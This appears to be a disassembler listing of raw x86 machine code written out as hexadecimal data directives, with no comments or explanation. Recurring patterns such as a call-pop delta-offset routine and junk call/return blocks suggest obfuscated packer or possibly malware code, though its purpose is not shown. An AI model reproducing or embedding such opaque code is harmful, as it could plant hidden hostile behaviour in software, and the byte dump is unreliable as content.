dd 94F10737h, 21E9h, 49BD8B00h, 5009350Ch, 110C30h, 0C1011144h
dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh
dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h
dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
dd 4300111h, 4E98311h, 0EBE775h, 0D381C08Bh, 47BC142Ah
dd 0D8BF0F60h, 61DAB70Fh, 1BB9BD8Bh, 0BD830935h, 9352255h
dd 67850F03h, 0F000004h, 0BD83DBB7h, 938B76Fh, 57840F00h
dd 6A000004h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1B042444h, 42000000h, 0F07AC352h, 8481C01Bh, 9D89F026h
dd 9352CF9h, 0B76FB5FFh, 6A0938h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 160424h, 53430000h, 0C43AF8C3h, 2A818D89h
dd 95FF0935h, 9352E11h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ch, 66C35545h, 0E25D64DBh, 0E30BA06h, 16059D8Bh
dd 0B58B0935h, 938B763h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Dh, 56C35545h, 5CE155AEh, 738EE0B6h, 0FFB70FE4h
dd 106C7h, 6A0001h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 160424h, 57470000h, 5F971DC3h, 38F0Fh, 8B660000h, 0BF5096F9h
dd 596D7FA7h, 0C59D8B96h, 0FF09350Bh, 38B76FB5h, 53006A09h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
dd 2AADCFC1h, 51EB309Dh, 81F51D72h, 0C93874DBh, 8995FF65h
dd 6A093502h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 15042444h, 46000000h, 97DEC356h, 0D9C38166h, 63B58B93h
dd 0F50938B7h, 0E99858Bh, 0B5090935h, 9352809h, 90EB8166h
dd 0C48689C9h, 29000000h, 3522FDBDh, 0B59D8B09h, 8B09350Fh
dd 35162995h, 52006A09h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1804h, 0C3524200h, 0F1F513E8h, 0DF81661Ah, 0C283C831h
dd 17BB5304h, 5B713545h, 6A205089h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0D184C351h
dd 7E571567h, 82DF8157h, 0E90CA237h, 13h, 71739193h, 0C9A193DEh
dd 0B302634Eh, 0B4766111h, 8DBE6AEFh, 38CC0785h, 8689FC09h
dd 0B8h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 15h, 0C8C35040h, 68C0FBCh, 89000000h, 352B2985h, 8B006A09h
dd 6FB5FFF8h, 6A0938B7h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 16042444h, 46000000h, 8E88C356h, 0FE94Bh
dd 3FF70000h, 339F5CBh, 0C1F36F2h, 0BE2A9497h, 5195FFABh
dd 1093511h, 352D1195h, 61605009h, 66243489h, 880FFA8Bh
dd 4, 5F47B352h, 0B76FB5FFh, 6A0938h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 140424h, 51410000h, 9D03C7C3h
dd 9351299h, 0B5595FFh, 6A0935h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1A0424h, 51410000h, 5C8A69C3h, 0CD60B411h
dd 68E0Fh, 0BD8B0000h, 9350B65h, 79BD83h, 0F000935h, 3B84h
dd 9E800h
dd 0FCF40000h, 769D6859h, 8BFE88F8h, 89505BF9h, 6A2434h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
dd 6AC05EC3h, 6FA101C9h, 0D98A19A0h, 0B76FB5FFh, 9D8B0938h
dd 9351671h, 1C3595FFh, 6A0935h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 160424h, 56460000h, 3D9990C3h, 68B6BB66h
dd 0B76FB5FFh, 6A0938h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1B0424h, 55450000h, 3483BCC3h, 0CB29638Bh, 0C1BD8B2Fh
dd 0FF093503h, 352CE595h, 51006A09h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1604h, 0C3514100h, 832C95A3h
dd 3526BDBDh, 840F0209h, 6Fh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Bh, 0A9C35040h, 0F5924D0Ah, 8B2B65FAh
dd 3526AD85h, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1804h, 0C3534300h, 0D3D7B2A2h, 0C680h, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 15h, 0D0C35242h, 95BD89BBh
dd 0C7093504h, 35326585h, 9, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 3F598D53h
dd 8C0F19FDh, 6, 5659D8Bh, 56E90935h, 6AFFFFF3h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
dd 0ADB5C353h, 9D8B60E8h, 93530A1h, 9589C18Bh, 935128Dh
dd 2659858Dh, 6A0935h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 150424h, 53430000h, 8126E7C3h, 0CBACF6CBh, 8B665023h
dd 240489D8h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 14h, 0B2C35646h, 1291BD8Bh, 9D8B0935h, 9351D8Dh, 6A12CF80h
dd 9D9D8B00h, 6A09350Ah, 0E7816600h, 0BD8BC496h, 9352661h
dd 5E81858Dh, 6A0939h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 150424h, 52420000h, 8B81F4C3h, 350DC99Dh, 5C08309h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0D5C35646h
dd 14810FC5h, 0E9000000h, 0Fh, 6DBAD566h, 0DD6BF4Eh, 0A048B20Dh
dd 29F0ABB8h, 352C9D8Dh, 66609009h, 5061F78Bh, 6A90FA8Ah
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h
dd 47000000h, 7CC3C357h, 10303C2Fh, 77C38166h, 6A006AFAh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h
dd 45000000h, 0FF9C355h, 173B728Fh, 3160AA6Ch, 350F0DB5h
dd 89952909h, 6109350Bh, 0FFFC006Ah, 35033195h, 55006A09h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
dd 9B32F482h, 59D8B48h, 8D09351Bh, 389AAB8Dh, 0FD1FF09h
dd 80h, 19BD8300h, 109351Ch, 9D850Fh, 6A0000h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
dd 0AD3967C3h, 8B84FF64h, 351261BDh, 6A026A09h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
dd 9F48C357h, 3864987Fh, 0DF407B2Dh, 0CB8B6660h, 61F9BF0Fh
dd 0FE9h, 6D96B700h, 0AB7FE8B2h, 3102A939h, 87B83CF7h
dd 8B665090h, 0FFFC90DFh, 35115195h, 51006A09h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0FA07449h
dd 281h, 0E9D88B00h, 0D7Ch, 0E8h, 0ED815D00h, 9395E8Bh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0FDC35646h
dd 5F5350FFh, 0F0D3815Bh, 1362E7Eh, 351E0D85h, 0F59D0909h
dd 8D093503h, 38932B85h, 8960F509h, 3504898Dh, 0F28B6609h
dd 0DE85061h, 0C5000000h, 0A4430456h, 5CFA729Ch, 43F9DB61h
dd 12E8h, 739B100h, 0DFB3B0D3h, 34986F29h, 807FD7CEh, 8B8F279Ah
dd 895F5FDEh, 0FF642404h, 35h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1404h, 0C3514100h, 25896448h
dd 0
dd 14E9h, 27839D00h, 620C9C1Eh, 0B7AD8A10h, 81D9B563h
dd 0FB531F63h, 85FFF82Ch, 9353009h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 18h, 0ACC35545h, 317D19F2h, 1A20BF66h
dd 6AFF6Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
dd 52420000h, 382B7EC3h, 1C75175Ah, 0FF140062h, 350C45B5h
dd 0F9B52909h, 0FF09351Ah, 352EB995h, 113E909h, 0F520000h
dd 182h, 0B05BF800h, 0B18D8900h, 0E6093524h, 0B75670h
dd 371E45Fh, 351019BDh, 0D8BF0F09h, 830F613Ch, 0E9h, 2379BD8Bh
dd 0B60F0935h, 559531C8h, 0BA09351Dh, 6, 0EE8h, 0FBB42200h
dd 6E1F889Fh, 0F7EBFE25h, 372F3C6h, 3525D5BDh, 0C18B5F09h
dd 14E9h, 875E5B00h, 74CF122Ch, 6DF4731Eh, 25277018h, 84467F6Dh
dd 4E8C1EDh, 46BF6660h, 2DB58BBAh, 6109352Fh, 0E2F766FCh
dd 0CA9B589h, 0C82B0935h, 0B70FD18Bh, 6E9F9h, 9D8B0000h
dd 93512A9h, 0D65858Bh, 0C0830935h, 83DF8B07h, 0BD3300C0h
dd 9350E1Dh, 830FD03Bh, 1Eh, 0FE950h, 0E3510000h, 0E8FB4F9Dh
dd 0AFB3802Eh, 7247A3DAh, 3EE95B63h, 0F000000h, 8D8BDBBFh
dd 9350441h, 1F419D89h, 0E1830935h, 26840F01h, 0BF000000h
dd 11B4A70Bh, 441A583h, 29FE0935h, 350685BDh, 65958909h
dd 0F09350Dh, 387h, 0FABF0F00h, 0E9h, 0EEB58D00h, 600938E8h
dd 2F2D958Bh, 0B5290935h, 9353319h, 6A006A61h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
dd 0FE80C356h, 0C2EB6B18h, 11E96020h, 6D000000h, 7BABD140h
dd 936AA256h, 3326198Dh, 66E1FFA7h, 82995FFh, 6A0935h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
dd 0E03379C3h, 0FAB89965h, 8A5B9h, 0B5896000h, 93530A9h
dd 2591BD09h, 83610935h, 6AFCE1h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 190424h, 56460000h, 8B0E2C3h, 66966097h
dd 586DF381h, 55006AFCh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1D04h, 0C3554500h, 6C32374Dh, 0DEDD11F7h, 0F6B320A7h
dd 158C0Fh, 9E80000h, 3A000000h, 0A9265FA8h, 0B8F568E1h
dd 239BD0Bh, 0B85F0935h, 0
aLA5 db '▀╫a',1Bh,'5',9,'╨',0
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 16042444h, 45000000h, 0A3A3C355h, 0E9BD895Eh, 0AD09351Ah
dd 0E8D1C233h, 0E983D003h, 0E8F47504h, 0Dh, 0D935C571h
dd 28C85101h, 211BEF4Bh, 0DDBD0BF7h, 5B093529h, 208D0Fh
dd 14E80000h, 0B000000h, 834F152Fh, 0B2490C19h, 6F9DC34Ch
dd 0FC36918Ch, 8B8D0703h, 350AA19Dh, 880D5F09h, 6A000000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h
dd 40000000h, 0A943C350h, 11D5BD29h, 51600935h, 8F0Fh
dd 0BE5E0000h, 66B22A4Bh, 29958B61h, 0F093516h, 8D8BF8B7h
dd 935287Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 16h, 0AC35545h, 7E97CD0h, 0D3000000h, 3A16280Dh, 8B503872h
dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0FB8BDF8Bh
dd 0E4C3EB81h, 0BD835C69h, 9351249h, 61840F00h, 9000000h
dd 352D3185h, 0B809h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1C0424h, 56460000h, 74C138C3h, 2B540FB8h
dd 8B66D0AEh, 28D8DDAh, 6A09354Ch, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 6C67C357h
dd 0F99282DAh, 0B70FE1FFh, 0DFBF0FF8h, 2255BD83h, 0F000935h
dd 43184h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1D04h, 0C3564600h, 7F319AB2h, 4C77E87Ah, 0F601616h
dd 28Eh, 0BFF8B100h, 19BFAE6Ch, 55BD8361h, 1093522h, 40B840Fh
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
dd 56460000h, 0F4E4E2C3h, 10E96Ch, 175E0000h, 9FA4159h
dd 2715B74Fh, 8A35FC70h, 0BD838D50h, 9352255h, 94860F03h
dd 6A000003h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 18042444h, 42000000h, 0C366C352h, 6005F5BFh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 4DC35141h, 6A68400Eh
dd 0D98C66F5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Dh, 7CC35040h, 0A828AFD1h, 0C1F14A7Dh, 0F99501F3h
dd 0E9093526h, 7, 30BE011Ch, 80DF9942h, 8D3104E1h, 9350CD1h
dd 840FC90Ah, 10Dh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ah, 0D8C35141h, 0FEE6E775h, 0BD8B5A26h, 935276Dh
dd 1D69BD29h, 858B0935h, 9352B61h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Dh, 51C35343h, 3D30DF44h, 65D6C7E9h
dd 0CF81667Fh, 85330540h, 9350D7Dh, 50D9B70Fh, 89D98B66h
dd 8E92404h, 0CC000000h, 7AC67C8Ch, 6A442799h, 33BF6600h
dd 4E85Fh, 3FF0000h, 0CABB001Fh, 50184C0Ch, 14E95250h
dd 0DB000000h, 0EF2E510Fh, 3F80CA04h, 9C95D3DAh, 0C6D135CDh
dd 0F7B0625h, 5A5B5031h, 24448B58h, 11E95704h, 37000000h
dd 937CE7DBh, 9C6A85BFh, 2466DB98h, 0C07CC6A6h, 0E9008B5Bh
dd 7, 8764B514h, 89FB6F02h, 66042444h, 584EFEBBh, 0B658589h
dd 95FF0935h, 9350CDDh, 300D8589h, 85890935h, 938B76Fh
dd 2249BD8Bh, 96E90935h, 8B000001h, 3506759Dh, 67858B09h
dd 0C70938B7h, 1800h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1804h, 0C3514100h, 0E4ED9185h, 0BE960E9h
dd 0B6000000h, 9A91082Ah, 48E4C6DEh, 0B70FB5B2h, 0B58B61FAh
dd 938B76Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 18h, 24C35242h, 0B931EC82h, 2C51BD89h, 858B0935h, 93524D5h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 5FC35040h
dd 40A3EDD6h, 8166B477h, 0E85444EBh, 9, 7DB4CCABh, 232AF3FEh
dd 3890FA1h, 0F000000h, 0F5FDAB7h, 689FAB7h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 77C35646h, 4EFD9285h
dd 0BD9D8B0Fh, 8B09350Eh, 352B6185h, 0E3816609h, 46894AE1h
dd 8D0F04h, 50000000h, 0F2CC46BBh, 2434895Ch, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 6EC35646h, 24D470CFh
dd 663653ECh, 9529D88Bh, 9352C45h, 0B767B5FFh, 6A0938h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
dd 146ACDC3h, 53E3DF2Dh, 688145BFh, 278DDCE3h, 0A48EC4BFh
dd 24348160h, 2792DF1Ch, 0BB27BB51h, 8D5F7846h, 38B76F85h
dd 0ECF8109h, 502DEAF9h, 5BFA8B50h, 1240489h, 350C01B5h
dd 0DD95FF09h, 8B09350Ch, 351C399Dh, 66F86109h, 85C7FB8Bh
dd 9352255h, 3, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 19h, 2FC35141h, 0D52D213h, 83FE8BD1h, 38B76FBDh, 840F0009h
dd 2Bh, 0D019D8Bh, 3BE90935h, 6A000000h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0D79FC351h
dd 50FEB5D6h, 110C30h, 0C1011144h, 443010E8h, 4C000211h
dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h
dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
dd 0EBE775h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1C0424h, 52420000h, 1D4593C3h, 0C0CE87A0h, 816682FAh
dd 5657C8EBh, 5BD6CF80h, 108E0Fh, 8E80000h, 4C000000h
dd 28011E92h, 51CB42BAh, 0BD835B5Fh, 9352255h, 0D4850F03h
dd 0F000003h, 583h, 0CB816600h, 0BD83146Bh, 938B76Fh, 0BC840F00h
dd 0F000003h, 8B66D9BFh, 6FB5FFF9h, 6A0938B7h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
dd 0EAD9C357h, 6427F937h, 665378E9h, 8589DF8Bh, 9352FFDh
dd 2E1195FFh, 6A0935h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1B0424h, 50400000h, 655792C3h, 0EC32B726h, 1BD0BC1h
dd 8B09351Eh, 38B763B5h, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1904h, 0C3534300h, 0B192F1FDh, 6C70A50h
dd 10001h, 31C9BD33h, 89500935h, 6A2434h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 180424h, 56460000h, 0B2D020C3h
dd 0CB80BD2Dh, 2D9D8B9Eh, 0FF093528h, 38B76FB5h, 8995FF09h
dd 89093502h, 351B2D9Dh, 63B58B09h, 6A0938B7h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
dd 6699C352h, 73A8D9Ah, 0D1816660h, 0BE8A650h, 0AA000000h
dd 0AC5BC517h, 0A6EBFFD1h, 0B70F21D3h, 8B615ACEh, 350E9985h
dd 9D8B6009h, 93528D1h, 8961FD8Ah, 0C486h, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
dd 0FDA1FF67h, 50994D9Bh, 26B99D8Bh, 958B0935h, 9351629h
dd 0D9BF0F52h, 4C2835Fh
db 89h, 0BDh
word_584F4E dw 1C71h ; DATA XREF: ___:00436EC4o
dd 0BD890935h, 9352449h, 0E9205089h, 14h, 0E94A85DFh, 0C12607D6h
dd 240A965Ah, 1F9820CAh, 0FBA76F7Eh, 2A5D8589h, 858D0935h
dd 938CC07h, 0B88689F8h, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 19042444h, 40000000h, 6149C350h
dd 503990BEh, 0BE8h, 23096600h, 0F34B2C8Eh, 0DEC54061h
dd 2DC18589h, 8B5B0935h, 350CA59Dh, 0E9006A09h, 9, 0DCB67081h
dd 98A1E04Fh, 6FB5FFE6h, 6A0938B7h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0D1D3C352h
dd 0FFC84554h, 35115195h, 0DFB70F09h, 24348950h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 52C35747h, 0DBB575F6h
dd 89FB96EDh, 351AC1BDh, 6FB5FF09h, 6A0938B7h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
dd 89E0C350h, 3524619Dh, 5595FF09h, 8909350Bh, 353201BDh
dd 79BD8309h, 93500h, 2F840Fh, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 84744DC3h
dd 758875EBh, 50DFB70Fh, 0A86EBF66h, 8B243489h, 6FB5FFD8h
dd 6A0938B7h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1C042444h, 40000000h, 727CC350h, 0EEC7719Ah, 0BF316313h
dd 71F43F11h, 1C3595FFh, 8B0F0935h, 4, 83A7BB66h, 0B76FB5FFh
dd 6A0938h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
dd 50400000h, 2D774FC3h, 894D94F0h, 352EC18Dh, 0E595FF09h
dd 6A09352Ch, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 17042444h, 43000000h, 0DB2BC353h, 5E9504Bh, 5D000000h
dd 0FFCE8C56h, 26BDBD83h, 0F020935h, 4384h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
dd 246434DEh, 0E980E9FCh, 0Ch, 8217A159h, 0AE520D2Dh, 0B4A38119h
dd 26AD858Bh, 0C6F80935h, 0D98B0000h, 0CDABB66h, 326585C7h
dd 935h, 0F5600000h, 121B58Bh, 0E9610935h, 0FFFFF3A0h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 22C35141h
dd 8BD39EB6h, 35305D9Dh, 0BBC18B09h, 221AA042h, 2659858Dh
dd 53900935h, 5B525250h, 5F56310Fh, 505F585Ah, 0CD1E3EBFh
dd 10E9906Bh, 22000000h, 36B51EDEh, 2CC23F38h, 3E8DD63Fh
dd 6A11B155h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1704h, 0C3534300h, 9AA37FB0h, 21D5BD8Bh, 6A0935h, 6D81858Dh
dd 0BD330939h, 9350B75h, 2905C083h, 35001595h, 0ADB35009h
dd 81240489h, 1839AC3h, 66006A13h, 9D8BFA8Bh, 9353305h
dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
dd 56460000h, 99A1AC3h, 6823E32Fh, 68D0Fh, 9D8B0000h, 9352E89h
dd 33195FFh, 6A0935h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 180424h, 51410000h, 0EA1C7DC3h, 9D8B189Ch, 9350F91h
dd 9AAB8D8Dh, 9D290938h, 935110Dh, 6AD1FFh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0A7BFE5C3h
dd 0EA18C70Bh, 83D61F80h, 351C19BDh, 850F0109h, 5Fh, 437DBB66h
dd 9AC78166h, 0F5026A6Ah, 0DA8B6650h, 6A240489h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
dd 3EE7C353h, 95FFFA0Fh, 9351151h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 19h, 0C4C35242h, 5A880FDh, 0C18D31FCh
dd 0E9093512h, 0E81h, 0E8h, 0ED815D00h, 9396D8Bh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 75C35545h, 81C1AFA0h
dd 0D99D89BBh, 60093511h, 221D9589h, 8D610935h, 38932B85h
dd 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h
dd 0C3534300h, 8BB0F550h, 352735BDh, 0DE8B5009h, 51240489h
dd 32158589h, 645B0935h, 35FFh, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0E8C81DC3h
dd 0Bh, 0F60FEAC1h, 0D695ED08h, 0FDA74DBh, 645FD9BFh, 2589h
dd 0FE8B0000h, 300985FFh, 6A0935h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 140424h, 57470000h, 0FF6A2CC3h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 65C35545h, 8CB0A6F6h
dd 0E1BD3360h, 0FF093522h, 351BBDB5h, 51006A09h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
dd 0E7201F7Ah, 0CC41F32Bh, 0B995FF4Ah, 0E909352Eh, 179h
dd 0AE9h, 0BFD47900h, 7CA0AC1Ch, 0B0372C1Ah, 198D8900h
dd 0E6093500h, 7D858970h, 0E409351Dh, 69B58971h, 3C093505h
dd 4A830F61h, 52000001h, 1BE99D89h, 0F5B0935h, 8A60C8B6h
dd 799D8BEBh, 6109352Bh, 6BAh, 0CDBD8B00h, 8909350Bh, 350B51B5h
dd 0E9C18B09h, 7, 78121731h, 0C153D732h, 0E95104E8h, 5
dd 0D690B5A8h, 0F7665FE8h, 13E9E2h, 5D80000h, 0B4955BACh
dd 51B3C2C4h, 8986050Ah, 0B7CA755Dh, 89C82B26h, 350C8585h
dd 66D18B09h, 9006E781h, 9E9h, 3870F00h, 0F000000h, 858BFBBFh
dd 935106Dh, 33DBD8Bh, 0C0830935h, 0E5BD8B07h, 83093524h
dd 5E800C0h, 0CB000000h, 12BE5334h, 17ADBD2Bh, 605F0935h
dd 2BDD8529h, 66600935h, 0E0B3D08Bh, 0D03B6161h, 0D830Fh
dd 0D98B0000h, 88E9h, 499D8B00h, 8B09350Fh, 3512218Dh
dd 9E809h, 0E8C10000h, 57C6E3A4h, 8B1307F9h, 3531A9BDh
dd 0E1835F09h, 5E840F01h, 66000000h, 0B21DF781h, 1221A583h
dd 0E8FE0935h, 0Fh, 193DA073h, 0FCB51C76h, 371DF288h, 0E92C3F02h
dd 12h, 54646474h, 0EA1002EEh, 85781BC8h, 3447457Dh, 605FD4FFh
dd 0D359589h, 0E38A0935h, 6D958961h, 0F093510h, 0B8Bh
dd 58E0F00h, 66000000h, 86F2D381h, 0E9h, 0ADB58D00h, 6A0938F3h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h
dd 42000000h, 1B19C352h, 6A5BB3BBh, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1504h, 0C3514100h, 95FF1ABEh
dd 9350829h, 0EE8h, 236B1000h, 643C63B0h, 57F1A8ACh, 5F25907Ah
dd 845B9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1C04h, 0C3534300h, 0C7E6A2Fh, 0AC5C97A4h, 0FCE183E0h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 36C35040h
dd 25558589h, 66FC0935h, 0C02BFE8Bh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 18h, 0AAC35141h, 4DD4D7ADh, 0D22BFA8Bh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 3DC35040h
dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 8599529h, 6A0935h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
dd 8E997C3h, 8D000000h, 8F06F149h, 8966E803h, 35045985h
dd 880D09h, 11E80000h, 56000000h, 0BC5DA64Dh, 6CB2A909h
dd 0E04DC077h, 256C08BFh
dd 0EF9BD8Bh, 8B5B0935h, 35162995h, 259D0909h, 8B09351Bh
dd 35287D8Dh, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1904h, 0C3554500h, 0FD411276h, 0F381A6FBh, 62482C4h
dd 1C11BD8Bh, 8B500935h, 3188BC2h, 8B188BC1h, 3E8D1C1h
dd 58188BC2h, 0DA1BD29h, 0BD830935h, 9351249h, 45840F00h
dd 89000000h, 3528E18Dh, 0B809h, 0BD290000h, 9352651h
dd 4C028D8Dh, 6A0935h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 180424h, 51410000h, 0DC6A45C3h, 9D31B323h, 93504B9h
dd 535EEEBBh, 0F5E1FF44h, 2255BD83h, 0F000935h, 48684h
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h
dd 0C3554500h, 3ADDD55Bh, 0F1E07FF7h, 55BD831Fh, 1093522h
dd 470840Fh, 9D890000h, 93516BDh, 2255BD83h, 0F030935h
dd 42786h, 13E900h, 83F0000h, 8F91F7ECh, 0CADC83E4h, 0BCAB1468h
dd 0BF1DEA5Fh, 6A60AFh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1C0424h, 51410000h, 216D9FC3h, 497EF191h, 9D8B990Ch
dd 93528F5h, 6AD98C66h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 18042444h, 45000000h, 580BC355h, 0FCA17D09h
dd 0E904E180h, 13h, 4FC20815h, 4F80BA76h, 0B4DCD44h, 12BD91B5h
dd 0A674C16h, 35840FC9h, 6A000001h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 364AC353h
dd 202EC8A7h, 66463F1Ch, 8B1F29BBh, 352B6185h, 53006A09h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
dd 55C34485h, 0BDBFBEA4h, 33405169h, 350D7D85h, 50006A09h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
dd 66931CD4h, 0E4FCD381h, 0FE850h, 41AE0000h, 0FF21241h
dd 0F71D320Eh, 8513B8B8h, 0FB8B6666h, 2404895Fh, 2591BD8Bh
dd 6A0935h, 8610BF66h, 9AB84B68h, 0C6BF6610h, 2434815Ah
dd 1085BBB4h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 18h, 0E7C35646h, 0DB99C63Dh, 0CDD95FFh, 6E80935h, 10000000h
dd 733075A3h, 0FE9E6h, 0D5900000h, 0F3A47804h, 4C5D76E8h
dd 5BC714F4h, 85895B26h, 938B76Fh, 0A7E1BB66h, 1E0E9h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h
